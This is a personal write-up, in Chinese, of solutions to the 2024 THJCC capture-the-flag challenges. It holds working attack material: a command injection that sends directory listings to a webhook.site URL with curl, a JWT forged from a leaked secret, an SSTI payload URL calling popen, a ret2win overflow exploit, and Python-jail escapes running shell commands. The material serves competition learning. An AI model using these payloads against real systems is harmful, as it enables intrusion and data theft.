---
lang: zh-TW
title: "2024 THJCC CTF Writeup"
tags: [ "Cyber Security", "Competition", "CTF Writeup" ]
authors: [ "XinShou" ]
type: post
showTableOfContents: true
date: 2024-05-04
---
<!-- Hackmd Only -->
# 2024 THJCC CTF Writeup
:::spoiler Categories
[TOC]
:::
---
<!-- /Hackmd Only -->
## Insane
### FFAM(Find Flag Automaticaliiy Machine)
<!-- :::info 題目
http://23.146.248.36:10000/
This is a machine developed by Naup. Compared with `FFAM`, it can automatically dig out flags. But he doesn't have enough RAM... . You can try to buy some RAM!!
Warning:Please do not maliciously damage the chall.If you think your idea is correct but you can't succeed, please open a ticket and I will check the status of the chall.
[FFAM.zip](https://drive.google.com/uc?export=download&id=1dI6P9qc3aq7nqpxZWwqFQb-Z0YlKSTVo)
> Author: [Naup堇姬](https://linktr.ee/naupjjin)
> Tag: [Web] [Insane] [command] [injection] [jwt]
> Hints:
> 1. ||Secret key's file is in the first position.||
> 2. ||Try to leak secret key.||
> 3. ||If you try to run `.txt`, It may leak some information.||
:::
-->
由於有給原始碼,解題過程只需要多花點時間閱讀便可得知大概步驟。
從最終目標回推:
- 取得`/shell`拿到flag
- 在`/ShopAboutComputerEquipment`購買記憶體
- 得到`Naup`身份、透過購買負值的物品得到金錢
- 嘗試取得`jwt secret`
1. 在`/webshell`執行指令`*`發現有個檔案`ASECRETKEY.txt`。根據通靈術猜測此檔案有被加上可執行權限,使用`./*`執行(原本是亂敲`/*/*`並且知道路徑為`/app/ASECRETKEY.txt`),成功得到內文`jwt secret`。

```
asajwjklkfjsiogljkqlskqjhejmslzotejejwlsllhkfjazxaaaiqpoiooriwjsxsdafjipwei
```
2. 利用`jwt secret`取得`Naup jwt session`
```py=
import jwt # PyJWT==2.8.0
if __name__ == "__main__":
data = {'id': 1, 'role': "Naup"}
secret = 'asajwjklkfjsiogljkqlskqjhejmslzotejejwlsllhkfjazxaaaiqpoiooriwjsxsdafjipwei'
token = jwt.encode(data, secret.encode(), algorithm='HS256')
print(token)
>>> 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6Ik5hdXAifQ.va7XuRq8UZjwm4AbIc1YQm1HUPKJUMBWhposWRQMoGw'
```
3. 修改 Cookie 並以負數取得金錢購買 Ram

4. 使用 curl 將資料發出 (透過[webhook.site](https://webhook.site/))
`$(curl -XPOST https://webhook.site/b73912c2-79c8-4062-8d33-acf91d9d27cf -d "$(ls)") #`

5. cat the file
`flag-asdq45a8we633a2df56aq.py #`

---
## Reverse
### Baby C
人工智慧逆回去就有了
```py=
if __name__ == "__main__":
a = [44, 48, 50, 59, 59, 3, 16, 12, 12, 8, 11, 66, 87, 87, 15, 15, 15, 86, 1, 23, 13, 12, 13, 26, 29, 86, 27, 23, 21, 87, 15, 25, 12, 27, 16, 71, 14, 69, 75, 32, 59, 46, 53, 75, 63, 75, 8, 22, 11, 5]
password = ''
for value in a:
# XOR the value with 120 (as per the C code logic) to find the original character
char = chr(value ^ 120)
password += char
print(password)
>>> 'THJCC{https://www.youtube.com/watch?v=3XCVM3G3pns}'
```
---
### PYC REVERSE
1. decompile pyc file
```py=
from Crypto.Util.number import bytes_to_long
from FLAG import FLAG
def xor1(flag):
return flag ^ 124789
def xor2(flag):
return flag ^ 487531
def xor3(flag):
return flag ^ 784523
def xor4(flag):
return flag ^ 642871
def xor5(flag):
return flag ^ 474745
flag = bytes_to_long(FLAG)
count = 0
count += 1
if count == 1:
flag = xor1(flag)
count += 2
if count == 3:
flag = xor2(flag)
count += 1
if count == 4:
flag = xor3(flag)
count -= 2
else:
flag = xor2(flag)
count += 1
else:
flag = xor3(flag)
count += 5
if count == 2:
flag = xor4(flag)
elif count == 6:
flag = xor5(flag)
print(flag)
```
2. 人工智慧
```py=
from math import ceil, log2
if __name__ == '__main__':
final_flag = 10730390416708814647386325276467849806006354580175878786363505755256613965929606057246313695
xor_keys = [124789, 487531, 784523, 642871]
word_length = ceil(log2(final_flag) / 8)
for key in reversed(xor_keys):
final_flag ^= key
print(''.join(chr((final_flag >> 8 * (word_length - byte - 1)) & 0xFF)
for byte in range(word_length)))
>>> 'THJCC{pyc_rev3r3e_C3n_u32_on1i5e_t0Ol}'
```
---
### Password Checker
deocde後靠工人智慧逆回去
```py=
enc = [0x12, 0x1C, 0x91, 0x8C, 0x16, 0x106, 0x10, 0xFD, 0x37, 0x5F,
0x75, 0x5E, 0x4E, 0x107, 0x62, 0xF2, 0x71, 0x0F, 0xB4, 0x4C,
0x86, 0x104, 0x78, 0xFB, 0x70, 0xEF, 0x17, 0xCC, 0x7C, 0xF0,
0x68, 0xEA]
if __name__ == "__main__":
flag = ''
for index, ans in enumerate(enc):
get = False
for i in range(32, 127):
tmp = ((i ^ index) >> (8 - ((index ^ 0xd) & 5))) | ((i ^ index) << ((index ^ 0xd) & 5))
if (ans & 0xFF) == ((tmp + 0x88) & 0xFF):
flag += chr(i)
get = True
break
if not get:
print(f'error: {index}, {ans}')
print(flag)
>>> 'THJCC{Bruteforce_is_kind_of_fun}'
```
---
## Pwn
### nc
找作者
https://www.youtube.com/watch?v=dQw4w9WgXcQ
auther: `Rick Astley`
---
### NPSC
人工智慧
```py=
from pwn import *
def calcu(nums):
max_num = 0
cur_num = 0
for i in range(len(nums)):
cur_num += nums[i]
max_num = max(max_num, cur_num)
if i >= len(nums) - 1 or cur_num < nums[i + 1]:
cur_num = 0
return max_num
if __name__ == '__main__':
r = remote('23.146.248.36', 30003, level='error')
while True:
line = r.recvline().strip().decode()
if 'THJCC' in line:
print(line)
break
if line.startswith("["):
max_num = calcu(list(map(int, line[1:-1].split(', '))))
r.sendline(str(max_num).encode())
>>> 'Delicious flag:THJCC{little_cat_meow_meow_meow}'
```
---
### Ret2func



在這可以發現`get()`函數,變數所存的大小為`0x30`
`rbp`大小為`8Bytes`
`win`函數`mov`記憶體位置為`0x40121b`
```py=
from pwn import *
r = remote('23.146.248.36', 30004)
print(r.recv())
r.sendline(b'y')
r.sendline(b'o' * 48 + b'o' * 8 + p64(0x40121B))
r.sendline(b'cat /home/chal/flag.txt')
r.interactive()
>>> '[x] Opening connection to 23.146.248.36 on port 30004'
>>> '[x] Opening connection to 23.146.248.36 on port 30004: Trying 23.146.248.36'
>>> '[+] Opening connection to 23.146.248.36 on port 30004: Done'
>>> b'Do you want to be a VIP of Country Wahahabihal'
>>> '[*] Switching to interactive mode'
>>> 'You would need 4198957 dollars if you want'
>>> "Congratulation, you're now the 1st VIP of Country Wahahabihal"
>>> 'home/chal/flag.txt:1:THJCC{jump1n_Jump0uT_So_Fun}'
```
---
### RiskAndaNormalDay
先爆破出Spectial在找其他六個數
```py=
from pwn import *
from tqdm import tqdm
ans: list = [50, 50, 50, 50, 50, 50, 0]
def set_special() -> bool:
""" return True if set
"""
r = remote('23.146.248.36', 30005, level='error')
r.recv()
for i in ans:
r.sendline(str(i).encode())
time.sleep(0.05)
tmp = r.recv().decode()
special_code: str = tmp[-1]
return special_code == '1'
def set_ans(expected_count: int) -> bool:
""" return True if set or JACKPOT
"""
r = remote('23.146.248.36', 30005, level='error')
r.recv()
for i in ans:
r.sendline(str(i).encode())
time.sleep(0.05)
tmp = r.recv().decode()
correct_count: str = tmp.split('You')[0][-3]
return correct_count == str(expected_count) or '!' in tmp
if __name__ == '__main__':
with tqdm(desc='special', total=50) as t:
while not set_special():
ans[-1] += 1
t.update()
t.close()
for i in range(6):
ans[i] = 0
with tqdm(desc=f'index: {i}', total=50) as t:
while not set_ans(i + 1):
time.sleep(0.1)
ans[i] += 1
t.update()
t.close()
print(f'{ans=}')
r = remote('23.146.248.36', 30005, level='error')
r.recv()
for i in ans:
r.sendline(str(i).encode())
r.sendline(b'cat /home/chal/flag.txt')
r.interactive()
>>> special: 50%|█████ | 25/50 [00:02<00:02, 12.41it/s]
>>> index: 0: 32%|███▏ | 16/50 [00:03<00:06, 5.24it/s]
>>> index: 1: 80%|████████ | 40/50 [00:07<00:01, 5.36it/s]
>>> index: 2: 76%|███████▌ | 38/50 [00:07<00:02, 5.36it/s]
>>> index: 3: 12%|█▏ | 6/50 [00:01<00:08, 4.95it/s]
>>> index: 4: 60%|██████ | 30/50 [00:05<00:03, 5.33it/s]
>>> index: 5: 22%|██▏ | 11/50 [00:02<00:07, 5.29it/s]
>>> ans=[16, 40, 38, 6, 30, 11, 25]
>>> '16 40 38 6 30 11 25 6 1JACKPOT!!! ,congratulations'
>>> 'THJCC{50000000000_r13h_I_l0v3_LotTety}'
```
---
## Web
### Empty
亂翻找Flag



---
### Blog
通靈題


---
### Simplify
SSTI,我用Arc瀏覽器好像沒有辦法觸發,改用Chrome才成功

`http://23.146.248.36:10003/@%7B%for%20i%20in%20''.__class__.__base__.__subclasses__()%%7D%7B%if%20i.__name__%20=='_wrap_close'%%7D%7B%print%20i.__init__.__globals__['popen']('tail%20flag%20').read()%%7D%7B%endif%%7D%7B%endfor%%7D`

---
## Crypto
### 博元婦產科
Base64 Decode and Caesar
```py
from base64 import b64decode
b64decode('TUFDVlZ7cFBwLnU0VXJmVGQzay52MEYubVB9Cg==')
>>> b'MACVV{pPp.u4UrfTd3k.v0F.mP}\n'
```

---
### Baby RSA
e很小可以爆開

```py=
import gmpy2
import tqdm
from Crypto.Util.number import long_to_bytes
n = 82905415164584389498448026225415348174116889583631879848801181149026319038674433017502044002549515598507479948874775953835212967198538225241428587373756775740055748735130854340971352961320030869329470225485298576771293717521094156379711969189220894688314434350844834550493516522022887482934023393062055248939
e = 3
c = 1235510871330310226418475368687292699345971692547143305272739246584681306551612197261843363110934247264155805712224284359950318209523214607727920666576650829438419066769737275066742744939310467207427865797663652787759689887376716363284875754160160311515163574335764507693157
res = 0
for k in tqdm.tqdm(range(200000000)):
if gmpy2.iroot(c + n * k, 3)[1] == 1:
res = gmpy2.iroot(c + n * k, 3)[0]
print(long_to_bytes(res))
break
>>> b'THJCC{small_eeeee_can_be_pwned_easily}'
```
---
### 《SSS.GRIDMAN》
看不懂題目,丟給人工智慧就生出來了。但有機率失敗
```py=
import numpy as np
from pwn import *
def try_to_calculate() -> str:
r = remote('23.146.248.36', 20000)
r.recvlines(11)
tmp = list(map(int, r.recvline().decode()
.removeprefix('share: ')[1:-2]
.replace('(', '')
.replace(')', '')
.split(', '))
)
r.recv()
shares = [(tmp[0], tmp[1]), (tmp[2], tmp[3]), (tmp[4], tmp[5])]
x_vals = [x for x, _ in shares]
y_vals = [y for _, y in shares]
coefficients = np.polyfit(x_vals, y_vals, 2)
secret = coefficients[-1]
r.sendline(str(int(secret)).encode())
return r.recv().decode()
if __name__ == '__main__':
resp = ''
while 'THJCC' not in resp:
resp = try_to_calculate()
print(resp)
>>> 'This is SECRET'
>>> 'THJCC{SSS_1s_a_c001_w2y_t0_pr0t3c7_s3c23t}'
```
---
### JPG^PNG
拿Magic Number當Key逆回去

```py=
from itertools import cycle
def xor(a, b):
return [i ^ j for i, j in zip(a, cycle(b))]
ENC = open("enc.txt", "rb").read()
key = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]
open('enc.png', 'wb').write(bytearray(xor(ENC, key)))
```

---
## Misc
### 原神帳號外流
可以用Wireshark追蹤HTTP流,再過濾關鍵字多次嘗試


---
### 出題者大合照!
又隱寫
[Aperi'Solve](https://www.aperisolve.com/2129e7fb50ea65749b08e2ea00e13e90)

---
### PyJail-0
與PyJail-1用同一套方法,可以慢慢戳出來
```python=
from pwn import *
r = remote('23.146.248.36', 40000)
print(r.recv())
r.sendline(b'eval(input())')
r.sendline(b'exec("import os; os.system(\'cat flag.txt\')")')
r.interactive()
>>> 'THJCC{Use_M2g1c_f2un3ti0n_in_P9Ja1l!!}'
```
---
### Geoguesser???
用電話號碼追也太色


---
### I want to go to Japan!
這題卡很久,先根據圖上的文字找到相關的打卡資料,即可找到該地資訊



---
### PyJail-1
Same as Pyjail-0
```python=
from pwn import *
r = remote('23.146.248.36', 40001)
print(r.recv())
r.sendline(b'eval(input())')
r.sendline(b'exec("import os; os.system(\'cat flag.txt\')")')
r.interactive()
>>> 'THJCC{Inp3t_b9p2sss_lim1t_1n+p3j2i1!}'
```
---
### Evil Form
在網路上找到一樣的[題目writeup](https://ctftime.org/writeup/38658)
第二段是printable ASCII table 的 ROT+47 [dCode](https://www.dcode.fr/rot-cipher)
第三段是在script中的`var FB_PUBLIC_LOAD_DATA_`變數拿到(也可以用這段爆出第二段)




---
## welcome
### Welcome 0x1
第1個找很久


---
### Discord 0x1
第2個是看到斜線指令Badge才注意到,輸光



<!-- Hackmd Only -->
---
> [name=XinShou]
---
<style>
.markdown-body p {
font-size: 18px;
}
</style>
###### tags: `Cyber Security` `Competition` `CTF Writeup`
<!-- /Hackmd Only -->